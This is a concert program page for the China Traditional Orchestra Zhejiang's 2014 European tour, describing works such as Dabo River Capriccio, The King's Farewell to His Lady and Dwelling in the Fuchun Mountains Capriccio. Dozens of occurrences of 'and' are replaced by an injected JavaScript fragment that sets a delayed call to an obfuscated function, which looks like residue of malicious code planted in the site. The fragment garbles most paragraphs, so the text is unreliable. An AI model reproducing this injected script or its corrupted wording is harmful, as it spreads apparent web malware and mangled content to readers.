2014 – China Traditional Orchestra Zhejiang

2014 – China Traditional Orchestra Zhejiang


2014, Year Of The Horse

China Traditional Orchestra Zhejiang / Zhang Lie, Zhang Guoyong

guzheng: Su Chang

Lucerne (KKL), Rotterdam (Luxor Theater), Bremen (Gut Varrel Stuhr), Essen (Philharmonie), Cottbus (Staatstheater), Budapest (Palace of Arts), Vienna (Konzerthaus), Linz (Brucknerhaus)

 

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Program:

1. Dabo River Capriccio

Composer: He Xuntian


Dabo River Capriccio is adapted from a folk song from the North West of Sichuan describing the daily life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ethnic customs of the inhabitants of the region around the Dabo River.

 

2. Old Locust Trees Seek for Their Roots

Composer: Zhao Jiping


“If you ask me where my ancestors live, just go andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and find the big locust tree of Hongtong County in Shanxi Province”. This old proverb refers to a famous pilgrimage site in Shanxi, where the Chinese have been heading for centuries to search for their roots andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and commemorate their ancestors. The composer pictures the scenes of travellers looking back andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and worshipping their ancestors.

 

3. Tune of the Rainbow Cloud

Composer: Zhou Yuguo


Guzheng: Su Chang


The title of this guzheng concerto was inspired by an ancient Chinese poem titled Qing Ping Diao Ci, written by the renowned poet Li Bai during the Tang Dynasty. In his verses, Li Bai describes Yang Guifei, the beautiful concubine of Emperor Xuanzong of Tang: “Clouds remind me of her clothes, flowers remind me of her face; stepping on the top of the pavilion, I long for my lover faraway; in this world, nothing is more valuable than love”. The whole piece deals with strong emotions, on the one handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and conveying a sentiment of sadness, describing someone who is whispering andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sobbing; on the other handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and highlighting an uneasy mood, symbolizing dashing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and shouting. With the delicate tone of the guzheng, the composer ultimately pours all the strong feelings towards eternal love into the melody of the guzheng, which lingers forever in all ears that once listened to it.

 

4. The King’s Farewell to His Lady

Composer:Guan Xia


Arrangement:Zhang Lie


Vocals:Zheng Peiqing


The Peking Opera aria “The King’s Farewell to His Lady” has been arranged particularly for guzheng, xiao andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and orchestra. It is based on the classical tale of tragic love between the General Xiang Yu andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and his concubine Yu Ji. On the verge of total defeat, the General calls for his concubine, who strikes up a passionate song, mourning for the country, which no longer exists andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the vanished beauty. This fresh fantasia with pentatonic melodies captivates any listener.

 

5. The Silk Road

Composer: Jiang Ying


This piece highlights the particular timbre andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the performing methods of Chinese folk instruments. Integrating diverse musical elements from all over the world, like for example the Indian sitar, the work outlines the abundant musical culture of “The Silk Road”.

 

6. Dwelling in the Fuchun Mountains Capriccio

Dwelling in the Fuchun Mountains, a Chinese landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andscape painting by one of the “Four Masters of the Yuan Dynasty”, Huang Gongwang (1269-1354), is a remarkable work of art, which describes the landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andscape of Zhejiang Province. It is considered a monumental masterpiece in the history of Chinese painting. Created between 1348 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 1350, the 7 meter long painting was burnt into two pieces in 1650. Today, one part can be admired in the Zhejiang Provincial Museum in Hangzhou andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the other part in Taipei.
The China Traditional Orchestra Zhejiang commissioned the composition of „Dwelling in the Fuchun Mountains Capriccio“ for large Chinese orchestra; the renowned Chinese composers Liu Yuan andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jiang Ying were selected to transform Huang Gongwang’s visual masterpiece into music. The Capriccio looks into the essence of the painting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and celebrates the nature andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the culture of the region. On the 6th of March 2013, the piece premiered at the inaugurational ceremony for the National People’s Congress andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Chinese People’s Political Consultative Conference under the baton of Maestro Zhang Guoyong in the National Center for the Performing Arts (NCPA).

– 3rd Movement: Listening to the Wind


Composer: Jiang Ying, Wang Zhi, Wang Ciheng


Trees in the bushes lean to the side as if blown by strong wind. Sound elements are subtly absorbed into the painting. Scholars, fishermen andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and woodcutters sit in the vast landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, enjoying the sound andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and beauty of the scenery.

– 2nd Movement: Flowing Water, Floating Clouds


Composer: Liu Yuan


Through the winding roads circling around the valleys, the composer suggests that only once reached the summit you will be able to grasp the beauty of life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and comprehend the great wisdom hiding within the landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andscape.

– 4th Movement 
Composer: Liu Yuan


The music illustrates the essence of nature in peaceful andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pithy tunes, producing a capacious andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and solemn atmosphere while the scenery itself becomes the mirror of this mood. This part illustrates the simplicity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and inward world of Chinese scholars according to the Zen Buddhism.

 

7. The Legend of Shadil

Composer: Liu Yuan


This traditional orchestral poem was composed in 1988. The theme is based on the legendary Chinese singer named Shadil who expressed his opposition to the rulers of the Qing dynasty through his songs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was persecuted andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and killed subsequently. After his death, his songs became very popular among the people.
Mixing traditional elements with original methods, the composer describes different figures by various structural techniques, which enhance their sweeping impact in the course of the piece. In China, “The Legend of Shadil is widely known andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and considered a true masterpiece of traditional Chinese music.